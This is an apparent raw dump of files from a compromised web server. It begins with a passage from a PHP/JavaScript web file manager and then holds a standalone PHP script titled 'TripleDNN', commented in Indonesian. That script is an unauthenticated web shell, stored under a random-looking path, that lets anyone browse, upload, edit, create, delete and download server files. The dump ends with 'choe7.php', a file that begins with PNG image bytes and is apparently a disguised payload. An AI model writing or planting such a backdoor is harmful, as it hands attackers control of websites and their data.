                },
                success: function(data){
                    $loader.removeClass('show-me');
                    data = JSON.parse(data);
                    if(data and data.length) {
                        _html = search_template(data);
                        searchWrapper.html(_html);
                    } else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
                },
                error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
                failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
            });
        } else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
    }

    // action confirm dailog modal
    function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
        e.preventDefault();
        const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, ' ')), action};
        let tpl = $("#js-tpl-confirm").html();
        $(".modal.confirmDailog").remove();
        $('#wrapper').append(template(tpl,tplObj));
        const $confirmDailog = $("#confirmDailog-"+tplObj.id);
        $confirmDailog.modal('show');
        return false;
    }
    

    // on mouse hover image preview
    !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.cssando.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);

    // Dom Ready Events
    $(document).ready( function () {
        // dataTable init
        var $table = $('#main-table'),
            tableLng = $table.find('th').length,
            _targets = (tableLng and tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3];
            mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}]
        });
        // filter table
        $('#search-addon').on( 'keyup', function () {
            mainTable.search( this.value ).draw();
        });
        $("input#advanced-search").on('keyup', function (e) {
            if (e.keyCode === 13) { fm_search(); }
        });
        $('#search-addon3').on( 'click', function () { fm_search(); });
        //upload nav tabs
        $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
            e.preventDefault();let target=$(this).data('target');
            $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
            $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
        });
    });
</script>
<?php if (isset($_GET['edit']) and isset($_GET['env']) and FM_EDIT_FILE and !FM_READONLY):
        
        $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
        $ext =  $ext == "js" ? "javascript" :  $ext;
        ?>
    <?php print_external('js-ace'); ?>
    <script>
        var editor = ace.edit("editor");
        editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
        //editor.setTheme("ace/theme/twilight"); //Dark Theme
        editor.setShowPrintMargin(false); // Hide the vertical ruler
        function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
        editor.commands.addCommands([{
            name: 'save', bindKey: {win: 'Ctrl-S',  mac: 'Command-S'},
            exec: function(editor) { edit_save(this, 'ace'); }
        }]);
        function renderThemeMode() {
            var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
                _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
            if(_data and _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
            if(_data and _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
            if(_data and _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
            $modeEl.val( editor.getSession().$modeId );
            $themeEl.val( editor.getTheme() );
            $fontSizeEl.val(12).change();
        }

        $(function(){
            renderThemeMode();
            $(".js-ace-toolbar").on("click", 'button', function(e){
                e.preventDefault();
                let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
                if(cmdValue and cmdValue != "none") {
                    ace_commend(cmdValue);
                } else if(editorOption) {
                    if(editorOption == "fullscreen") {
                        (void 0!==document.fullScreenElementandnull===document.fullScreenElement||void 0!==document.msFullscreenElementandnull===document.msFullscreenElement||void 0!==document.mozFullScreenand!document.mozFullScreen||void 0!==document.webkitIsFullScreenand!document.webkitIsFullScreen)
                        and(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreenandeditor.container.msRequestFullscreen());
                    } else if(editorOption == "wrap") {
                        let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
                        editor.getSession().setUseWrapMode(wrapStatus);
                    }
                }
            });
            $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
                e.preventDefault();
                let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
                if(selectedValue and selectionType == "mode") {
                    editor.getSession().setMode(selectedValue);
                } else if(selectedValue and selectionType == "theme") {
                    editor.setTheme(selectedValue);
                }else if(selectedValue and selectionType == "fontSize") {
                    editor.setFontSize(parseInt(selectedValue));
                }
            });
        });
    </script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}

function lng($txt) {
    global $lang;

    $tr['en']['AppName']        = 'spathe';      $tr['en']['AppTitle']           = 'spathe';
    $tr['en']['Login']          = 'Sign in';                $tr['en']['Username']           = 'Username';
    $tr['en']['Password']       = 'Password';               $tr['en']['Logout']             = 'Sign Out';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Copy']               = 'Copy';
    $tr['en']['Save']           = 'Save';                   $tr['en']['SelectAll']          = 'Select all';
    $tr['en']['UnSelectAll']    = 'Unselect all';           $tr['en']['File']               = 'File';
    $tr['en']['Back']           = 'Back';                   $tr['en']['Size']               = 'Size';
    $tr['en']['Perms']          = 'Perms';                  $tr['en']['Modified']           = 'Modified';
    $tr['en']['Owner']          = 'Owner';                  $tr['en']['Search']             = 'Search';
    $tr['en']['NewItem']        = 'New Item';               $tr['en']['Folder']             = 'Folder';
    $tr['en']['Delete']         = 'Delete';                 $tr['en']['Rename']             = 'Rename';
    $tr['en']['CopyTo']         = 'Copy to';                $tr['en']['DirectLink']         = 'Direct link';
    $tr['en']['UploadingFiles'] = 'Upload Files';           $tr['en']['ChangePermissions']  = 'Change Permissions';
    $tr['en']['Copying']        = 'Copying';                $tr['en']['CreateNewItem']      = 'Create New Item';
    $tr['en']['Name']           = 'Name';                   $tr['en']['AdvancedEditor']     = 'Advanced Editor';
    $tr['en']['Actions']        = 'Actions';                $tr['en']['Folder is empty']    = 'Folder is empty';
    $tr['en']['Upload']         = 'Upload';                 $tr['en']['Cancel']             = 'Cancel';
    $tr['en']['InvertSelection']= 'Invert Selection';       $tr['en']['DestinationFolder']  = 'Destination Folder';
    $tr['en']['ItemType']       = 'Item Type';              $tr['en']['ItemName']           = 'Item Name';
    $tr['en']['CreateNow']      = 'Create Now';             $tr['en']['Download']           = 'Download';
    $tr['en']['Open']           = 'Open';                   $tr['en']['UnZip']              = 'UnZip';
    $tr['en']['UnZipToFolder']  = 'UnZip to folder';        $tr['en']['Edit']               = 'Edit';
    $tr['en']['NormalEditor']   = 'Normal Editor';          $tr['en']['BackUp']             = 'Back Up';
    $tr['en']['SourceFolder']   = 'Source Folder';          $tr['en']['Files']              = 'Files';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Change']             = 'Change';
    $tr['en']['Settings']       = 'Settings';               $tr['en']['Language']           = 'Language';        
    $tr['en']['ErrorReporting'] = 'Error Reporting';        $tr['en']['ShowHiddenFiles']    = 'Show Hidden Files';
    $tr['en']['Help']           = 'Help';                   $tr['en']['Created']            = 'Created';
    $tr['en']['Help Documents'] = 'Help Documents';         $tr['en']['Report Issue']       = 'Report Issue';
    $tr['en']['Generate']       = 'Generate';               $tr['en']['FullSize']           = 'Full Size';              
    $tr['en']['HideColumns']    = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in';
    $tr['en']['Nothing selected']   = 'Nothing selected';   $tr['en']['Paths must be not equal']    = 'Paths must be not equal';
    $tr['en']['Renamed from']       = 'Renamed from';       $tr['en']['Archive not unpacked']       = 'Archive not unpacked';
    $tr['en']['Deleted']            = 'Deleted';            $tr['en']['Archive not created']        = 'Archive not created';
    $tr['en']['Copied from']        = 'Copied from';        $tr['en']['Permissions changed']        = 'Permissions changed';
    $tr['en']['to']                 = 'to';                 $tr['en']['Saved Successfully']         = 'Saved Successfully';
    $tr['en']['not found!']         = 'not found!';         $tr['en']['File Saved Successfully']    = 'File Saved Successfully';
    $tr['en']['Archive']            = 'Archive';            $tr['en']['Permissions not changed']    = 'Permissions not changed';
    $tr['en']['Select folder']      = 'Select folder';      $tr['en']['Source path not defined']    = 'Source path not defined';
    $tr['en']['already exists']     = 'already exists';     $tr['en']['Error while moving from']    = 'Error while moving from';
    $tr['en']['Create archive?']    = 'Create archive?';    $tr['en']['Invalid file or folder name']    = 'Invalid file or folder name';
    $tr['en']['Archive unpacked']   = 'Archive unpacked';   $tr['en']['File extension is not allowed']  = 'File extension is not allowed';
    $tr['en']['Root path']          = 'Root path';          $tr['en']['Error while renaming from']  = 'Error while renaming from';
    $tr['en']['File not found']     = 'File not found';     $tr['en']['Error while deleting items'] = 'Error while deleting items';
    $tr['en']['Moved from']         = 'Moved from';         $tr['en']['Generate new password hash'] = 'Generate new password hash';
    $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
    $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
    $tr['en']['Advanced Search']    = 'Advanced Search';    $tr['en']['Error while copying from']    = 'Error while copying from';
    $tr['en']['Invalid characters in file name']                = 'Invalid characters in file name';
    $tr['en']['FILE EXTENSION HAS NOT SUPPORTED']               = 'FILE EXTENSION HAS NOT SUPPORTED';
    $tr['en']['Selected files and folder deleted']              = 'Selected files and folder deleted';
    $tr['en']['Error while fetching archive info']              = 'Error while fetching archive info';
    $tr['en']['Delete selected files and folders?']             = 'Delete selected files and folders?';
    $tr['en']['Search file in folder and subfolders...']        = 'Search file in folder and subfolders...';
    $tr['en']['Access denied. IP restriction applicable']       = 'Access denied. IP restriction applicable';
    $tr['en']['Invalid characters in file or folder name']      = 'Invalid characters in file or folder name';
    $tr['en']['Operations with archives are not available']     = 'Operations with archives are not available';
    $tr['en']['File or folder with this path already exists']   = 'File or folder with this path already exists';

    $i18n = fm_get_translations($tr);
    $tr = $i18n ? $i18n : $tr;

    if (!strlen($lang)) $lang = 'en';
    if (isset($tr[$lang][$txt])) return fanco($tr[$lang][$txt]);
    else if (isset($tr['en'][$txt])) return fanco($tr['en'][$txt]);
    else return "$txt";
}

?>nhf60k/hy0xr.php000064400000020136151032667100007426 0ustar00<?php
// Set directory root menjadi public_html
$root_dir = realpath(__DIR__);  // Ini mengatur root menjadi folder di mana file PHP ini disimpan
$current_dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $root_dir;

// Periksa jika direktori yang diminta valid dan dapat diakses
if (!$current_dir || !is_dir($current_dir)) {
    $current_dir = $root_dir; // Jika direktori tidak valid, kembali ke root_dir
}

// Fungsi untuk menampilkan list file & folder, dengan folder di atas dan file di bawah
function listDirectory($dir)
{
    $files = scandir($dir);

    // Array untuk menyimpan folder dan file terpisah
    $directories = [];
    $regular_files = [];

    // Pisahkan folder dan file ke dalam array yang berbeda
    foreach ($files as $file) {
        if ($file != "." && $file != "..") {
            if (is_dir($dir . '/' . $file)) {
                $directories[] = $file;  // Masukkan ke array folder
            } else {
                $regular_files[] = $file; // Masukkan ke array file biasa
            }
        }
    }

    // Tampilkan folder di atas
    foreach ($directories as $directory) {
        echo '<tr>';
        echo '<td><a href="?dir=' . urlencode($dir . '/' . $directory) . '">📁 ' . $directory . '</a></td>';
        echo '<td>Folder</td>';
        echo '<td>
            <a href="?dir=' . urlencode($dir) . '&edit=' . urlencode($directory) . '">Edit</a> |
            <a href="?dir=' . urlencode($dir) . '&delete=' . urlencode($directory) . '">Delete</a> |
            <a href="?dir=' . urlencode($dir) . '&rename=' . urlencode($directory) . '">Rename</a> |
            <a href="?dir=' . urlencode($dir) . '&download=' . urlencode($directory) . '">Download</a>
        </td>';
        echo '</tr>';
    }

    // Tampilkan file di bawah
    foreach ($regular_files as $file) {
        echo '<tr>';
        echo '<td>' . $file . '</td>';
        echo '<td>' . filesize($dir . '/' . $file) . ' bytes</td>';
        echo '<td>
            <a href="?dir=' . urlencode($dir) . '&edit=' . urlencode($file) . '">Edit</a> |
            <a href="?dir=' . urlencode($dir) . '&delete=' . urlencode($file) . '">Delete</a> |
            <a href="?dir=' . urlencode($dir) . '&rename=' . urlencode($file) . '">Rename</a> |
            <a href="?dir=' . urlencode($dir) . '&download=' . urlencode($file) . '">Download</a>
        </td>';
        echo '</tr>';
    }
}

// Fungsi untuk menghapus file
if (isset($_GET['delete'])) {
    $file_to_delete = $current_dir . '/' . $_GET['delete'];
    if (is_file($file_to_delete)) {
        unlink($file_to_delete);
    }
    header("Location: ?dir=" . urlencode($_GET['dir']));
}

// Fungsi untuk download file
if (isset($_GET['download'])) {
    $file_to_download = $current_dir . '/' . $_GET['download'];
    if (is_file($file_to_download)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file_to_download) . '"');
        header('Content-Length: ' . filesize($file_to_download));
        readfile($file_to_download);
        exit;
    }
}

// Fungsi untuk rename file
if (isset($_POST['rename_file'])) {
    $old_name = $current_dir . '/' . $_POST['old_name'];
    $new_name = $current_dir . '/' . $_POST['new_name'];
    rename($old_name, $new_name);
    header("Location: ?dir=" . urlencode($_GET['dir']));
}

// Fungsi untuk upload file
if (isset($_POST['upload'])) {
    $target_file = $current_dir . '/' . basename($_FILES["file"]["name"]);
    move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
    header("Location: ?dir=" . urlencode($_GET['dir']));
}

// Fungsi untuk mengedit file
if (isset($_POST['save_file'])) {
    $file_to_edit = $current_dir . '/' . $_POST['file_name'];
    $new_content = $_POST['file_content'];
    file_put_contents($file_to_edit, $new_content);
    header("Location: ?dir=" . urlencode($_GET['dir']));
}

// Fungsi untuk membuat file baru
if (isset($_POST['create_file'])) {
    $new_file_name = $_POST['new_file_name'];
    $new_file_path = $current_dir . '/' . $new_file_name;
    // Buat file baru dengan konten kosong
    file_put_contents($new_file_path, "");
    header("Location: ?dir=" . urlencode($_GET['dir']));
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>TripleDNN</title>
    <style>
        /* Styling dengan tema gelap (latar belakang hitam dan teks terang) */
        body {
            background-color: #121212;
            color: #E0E0E0;
            font-family: Arial, sans-serif;
        }
        h2 {
            color: #BB86FC;
        }
        table {
            width: 100%;
            border-collapse: collapse;
        }
        th, td {
            padding: 10px;
            text-align: left;
        }
        th {
            background-color: #333;
            color: #BB86FC;
        }
        tr:nth-child(even) {
            background-color: #222;
        }
        tr:nth-child(odd) {
            background-color: #121212;
        }
        a {
            color: #03DAC6;
            text-decoration: none;
        }
        a:hover {
            color: #BB86FC;
        }
        button {
            background-color: #03DAC6;
            color: #121212;
            border: none;
            padding: 10px 20px;
            cursor: pointer;
        }
        button:hover {
            background-color: #BB86FC;
        }
        textarea {
            width: 100%;
            height: 400px;
            background-color: #222;
            color: #E0E0E0;
            border: 1px solid #BB86FC;
        }
        input[type="file"], input[type="text"] {
            color: #E0E0E0;
            background-color: #222;
            border: 1px solid #BB86FC;
            padding: 10px;
        }
        .form-container {
            display: flex;
            justify-content: space-between;
            margin-bottom: 20px;
        }
        .form-container form {
            margin-right: 10px;
        }
    </style>
</head>
<body>
    <p>Current Directory: <a href="?dir=<?php echo urlencode(dirname($current_dir)); ?>" style="color: #03DAC6;"><?php echo $current_dir; ?></a></p>
    
    <div class="form-container">
        <!-- Form untuk upload file -->
        <form method="post" enctype="multipart/form-data">
            <input type="file" name="file">
            <button type="submit" name="upload">Upload</button>
        </form>

        <!-- Form untuk membuat file baru -->
        <form method="post">
            <input type="text" name="new_file_name" placeholder="New file name" required>
            <button type="submit" name="create_file">Create File</button>
        </form>
    </div>

    <table border="1">
        <thead>
            <tr>
                <th>File Name</th>
                <th>Size</th>
                <th>Actions</th>
            </tr>
        </thead>
        <tbody>
            <?php listDirectory($current_dir); ?>
        </tbody>
    </table>

    <!-- Form untuk rename file -->
    <?php if (isset($_GET['rename'])): ?>
    <form method="post">
        <input type="hidden" name="old_name" value="<?php echo $_GET['rename']; ?>">
        <input type="text" name="new_name" placeholder="New name" style="width: 100%; padding: 10px;">
        <button type="submit" name="rename_file">Rename</button>
    </form>
    <?php endif; ?>

    <!-- Form untuk mengedit file -->
    <?php
    if (isset($_GET['edit'])):
        $file_to_edit = $current_dir . '/' . $_GET['edit'];
        if (is_file($file_to_edit)) {
            $file_content = file_get_contents($file_to_edit);
            ?>
            <form method="post">
                <input type="hidden" name="file_name" value="<?php echo $_GET['edit']; ?>">
                <textarea name="file_content"><?php echo htmlspecialchars($file_content); ?></textarea>
                <br>
                <button type="submit" name="save_file">Save Changes</button>
            </form>
        <?php }
    endif; ?>
</body>
</html>n1u3lw/choe7.php000064400000317117151032667100007426 0ustar00�PNG

���
IHDR��X��X����f����
0iCCPICC Profile��x���wTT��Ͻwz��0)C�
 �7��Da�`(34�!�EDA�"��"�"���`�� ��`QQy3�Vt�彗��g}k���=g�}ֺ������tX
�4����J����c�����`�23B=ÀH>n�L��"�7w�+�7����t�I������؂��d��Pĩق�}F��1�(1�E������";����c�X|�v[�="ޚ%��qQ��-�["�L�qE�V��af�"��+IĦ"&��B�D��)�+������Rn��|nb����ң���2�ޜ�T�@`�d�0�l�[zZ����?KF\[����f���F��f_�n�M�{�H��?���}���_z=��YQmv|����c3���4 )�[��W����%I Ȱ31���6�rX������7�����(ݝ���
�⺱�SӅ|zf�š�y��q�_��0����sx��pєqy��v��\7�G��S�a؟�8�"Q>j�1����>��s@���7|8��ՉŹ�,�߳�e�%���9�-$�������H*P�*@�#`l�=p��0VHi��A>��@	�v�jP@h'@8
.���:�n�`���`��a!2D� UH2��!�y@�P�A�B��&�*���:�	�:]��B��=h��~���L���2�
�������p"�΃��p\����u�6<?�g���!�
	D�����C��J�iA��^�&2�L#�PEG��Qި�(j5j�U�:�jG��n�FQ3�Oh2Z	m��C��#щ�lt�݈nC_B�F���`0Fc���Da�1k0����V�y� f3��b�Xl ��`��{�ǰ�C�q�[��3�y�q<\�ww7������Zx;| ���ŗ��]��8~� M�!8�Ʉ��*B��!��HT'���\�b�8�
q���$C�'��bHB�v�a�y�=�+2��Mv&G����&�E�c�[	�����[b�D�D�Đ�I������*�<�Jɓ���Rx)m)7)��:��SR�R��i3�@�4�R��W�'e�2�22l�B�C2e�(E��FaQ6Q(�(�TU��CM��P���Sgded-e�esdkd�Ȏ��6͇�J+���ݡ��S�s���m�k����_"�,ϑ/�o��-�^��ࡐ��S�C�"JQ_1X1[��%��%�%�KXK���Xr_	V�W
QZ�tH�OiVYE�K9Cy��E�i���J�J��Y�)U���*W�B���3�,݅�J����gԔԼՄjuj�j��:����[�i4	�3������͚���Z�$�=Z�Zs�:��[�;�'u�u|t�t�u�u�tW�������1�R���Ї����k�`k��~�AC���!ϰ�p؈d�b�e�l4jL3�7.0�0~a�im�Ӥ�䓩�i�i��33_��.����Y�5�,���-:-^ZXr,X޵�XXm��hmcͷn���Ѵ���g3̠2���+�h[W���m��Y�	�N�fod�b�~r��R�҆�c�L�:�G�c��A�'5'�S��g
g�s�󄋞K��1����|�6�97;��n��w/�b�~����=�==�=g����x��F{�y���Q�a�4�������#���U�=���w���.�Z�[�}w>
�	Z�c0&8(�&�i�YH~Ho(%46�h�0װ���u��w�K�DŽ7��E�G�G�D�D����ō��F�G7FϮ�X�{�x�ULQ̝�:+sV^]��*uՙX�Xf��8t\D�Ѹ�@f=s6�'~_�ˍ�����̮`Oq8圉����D��]�SINI�I�\7n5�e�wrm�\J`�ᔅԈ��4\Z\�)�/�ד����>�a�Q�1��n���3|?~c&��2�S@�L�	u����Y�Y5Yo�óO�H��r�r�s��N�y�}�����;_-c��Z��u�u���k�/\?��kÑ���)*0-(/x�)bSW�r�±�^���$��E�[��nEm�n��f�m�O���k%�%�%JY�׾1��ꛅ�	�ˬ������i�r���]��+���w��ZiYY���G�g�ʿ�s���{?T'U߮q�iݧ�o۾���C���*זԾ?�=x�Ϋ��^����P֡�
�
��2�mjTl,i�x�wx�Hȑ�&����JG˚�fa�Ա�c7�s���Ũ����Zr�}�wN���>�8�����(m��P{n�LGR�HgT��)�S�]�]m?�x����3�g����]8�wn�|���ƺc�\��x�'����ߥ+�=/_�u�=w����vWO]c\�n}��Ϫ��'������l:o���\:xv�i��M���o�ܺ~{��;�����˾;y/���Y��lx�~X�H�Q�c��?��:b=rf�}��I�c���d��a��)�i��DӤ���)ϩ�V<��|~��W�_���}��oο��DΌ��\���«ï-_w��>~��f~�����#��z�G������P�Q�c�'�O����s��֔IDATx��g�W��wU����9h��%ٖs�3�1`@���.�e�e�%-&�k��`��I��`��qrΩs�z����3�����#����Ѩ��ֽ�nWߧ�96����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������?���0W:��S�t6�}�ҹT�b��|Zh�N�ӓ]mt�ǕV��vy\���U�)�vpNm;v�"�c]{�+�>�\iO��I��D��޷neTi�V�Nmp�)]��}Ø����������x�����X�8���Sa�ެ�xώ/*mɕt�i�L�&���\��3PM��4޾���o��"��s)��_�Q�g�W+��Y�V:;��6'mw:IO���o���"�p�)}���V���4�a��,f	���t�����������4�"����'�>���V�Ϋ�|����ԭ'���"m�=���-��E�ѓ�Ai��P:�ڢt��Q�l͛�t�3�:���z5��
 ��s{��+eN�6P��!��oy�[�pmu��W6������������Q���IGO�Ii+Ƕ�����Q�P����t�
���(��m��)Җő�u+.�
���W��~�7Z�|M�Q:g��b4=�S��%+�\b|�ңGN�EXԸ�޷f��E;;H��v�5I�N;[����2l���;1{�xe�,�����<`����,l`�c���)�=P�t�U;��+?�6�y�}�(��LI2�;�S-?�����*W^C�_���б{IgEbO�ίu:�(l�f�w)ݿ�+�IG����y&�v�dY�:��og��E5��)�m�$�m!]��mM���D�6>~������pp�F�u���:��_�@���B���Xk�f�`a�,�����<`����,l`�����ӗ���oP:<��J��={�Қez����]�|�gJ/i��t��-tL��;����|^�@�ed�y��F�6s&و��U��KI��>����sq�N3Cem�%�~���ڏ?�I���6~�@y9�xj�3N�%��F��ަtՒK�~����
3���' ����e+n"�M�X��x�L����w���[IGc>j[��>:�d٣ف�7�u��xYvZ����r���Jם�p���%���3v�������������A-B��2��O�Sz��)�\�߄�V��"��] 3ˉ1K6�A���gS��*!��?��U�T:�O(�MQ2O���ڜ�q21^\tu����	P�`�E�Z�tbt�Q�h�s'���7�w�f:��D���^�\d#֮��2�&���t�����x�W���i����r�D{Q���eu+�ZCvd��������k�bs����>�J��O|�Z��p(���6��a��UFwzJk(��U��7��`�������������6�8����j�
��~��Fz���qv�]HwS�����c<��ܾ~3+E^��m�_�P�QJ�i�ەNG���r�)����)��N���hG�X�4]ؚ��<�����˷R6Җ���@���ν�6��<��ŗ��X�gȦ�����n�(]�����ڲ
jP��g�>�E�6P�5{�)�-�.�I��/=���va:8y.R��3�p�;����	�!^���Ŗ��p�6p��(�m.#ƚ�ip����!��7ny��%��������,�����<`����,l�h�3����O�c�S���SB�����*��!�@/��"v��@���KE)?�M32�3�W^�s�j.��d�V�#���O����ְ��U�{�/�vԵ�yJǢ�A���|�+]�|뾼��x������OمN#�~���Ӝ>�s�/�d�M�d5���J�(�/x-���[D类�Ck���A��C]�84�6�W�&1v����3J�5S@�-15�w,܁j�ŵ��r� �x��ٖ�����O�L�jVv�l��]�͗N�.�p`�����X�����X���!2�D���ҽ��ӟe�Ki�$���;iF.ů�e	{��
�n����6��l�6�K)h�ֱ�kW�i�)
r�E��B��R:5��8�4�"
�]�^AYM5;_�+PE�4�lyW*�{�6����:/�;��J�s�O+��/q�;ܳ^��妵?���㞜�"���cm��d;Gj:��N/������b��hPG[�W4靸K(�������������F(0�����)���*ݹ燷*�����(��i;����Y:k͔�+QZ�|�n��I׮M�6��PNJ[l����a
>�e���6��d��,kZK�q���"��!��/|��|�5c`�O)212��^��N7yo��AQ���J7n�r���+�>��m?�Ī�{�ҥ%Yf�|J��	Z}%
k�?�t��+�zK_����P�����W!���8�G����J>��t���e�*�����)5q�������K��-m:��J�,*��k�gpW0w�������,������
,B�摎�w}X�lt�W:��ts�ݔ���fV+�
��翇j�<i��"�7��Y����iP�W���c�(�� �
